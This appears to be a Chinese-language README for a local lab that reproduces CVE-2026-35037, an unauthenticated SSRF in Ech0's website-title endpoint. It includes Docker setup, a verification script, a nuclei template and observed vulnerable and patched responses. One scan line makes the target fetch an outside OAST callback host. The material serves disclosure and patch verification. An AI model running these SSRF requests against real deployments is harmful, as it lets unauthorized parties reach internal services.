此仓库包含一个本地隔离的复现实验室,用于演示 Ech0 的 GET /api/website/title 端点中的未认证 SSRF 漏洞 CVE-2026-35037。
该实验室使用受控的本地证据服务器,而非云元数据或第三方基础设施。
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1;NVD 描述早于 4.2.8 的版本4.2.8GET /api/website/titlewebsite_url参考资料:
docker-compose.yml:启动 Ech0 和本地证据 HTTP 服务器Dockerfile.ech0-lab:从官方 GitHub 标签构建 Ech0verify-cve-2026-35037.sh:发送受控的 SSRF 验证请求evidence/index.html:包含唯一 <title> 的受控 HTML 页面nuclei/CVE-2026-35037.yaml:nuclei 模板候选创建此实验室时,历史受影响 Docker 标签(如 sn0wl1n/ech0:4.2.1)不可用。实验室改为从官方 lin-snow/Ech0 GitHub 标签构建:
v4.2.1 用于受影响版本候选v4.2.8 用于修复版本的比较本地 Dockerfile 还避免了从历史 build.Dockerfile 观察到的上游构建问题。
curlnuclei请仅在本地隔离实验室中运行。不要针对第三方系统使用这些命令。仅对你拥有或获得明确书面授权测试的系统使用。
启动 Ech0 v4.2.1:
ECH0_TAG=4.2.1 docker compose up -d --build
发送受控验证请求:
sh verify-cve-2026-35037.sh
预期受影响响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
确认 Ech0 到达了受控证据服务器:
docker compose logs evidence
观察到的证据日志:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
启动 Ech0 v4.2.8:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
运行相同请求:
sh verify-cve-2026-35037.sh
观察到的修复版本响应:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
验证模板:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
针对受影响版本 v4.2.1 运行:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
观察到的受影响结果:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
针对修复版本 v4.2.8 运行:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
观察到的修复版本结果:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/。{{interactsh-url}} 并需要 OAST/interactsh 支持。{{interactsh-url}},默认会连接 ProjectDiscovery 的 interactsh 服务器,例如 oast.online 或 oast.fun。可使用 -iserver 覆盖服务器或 -ni 禁用 interactsh。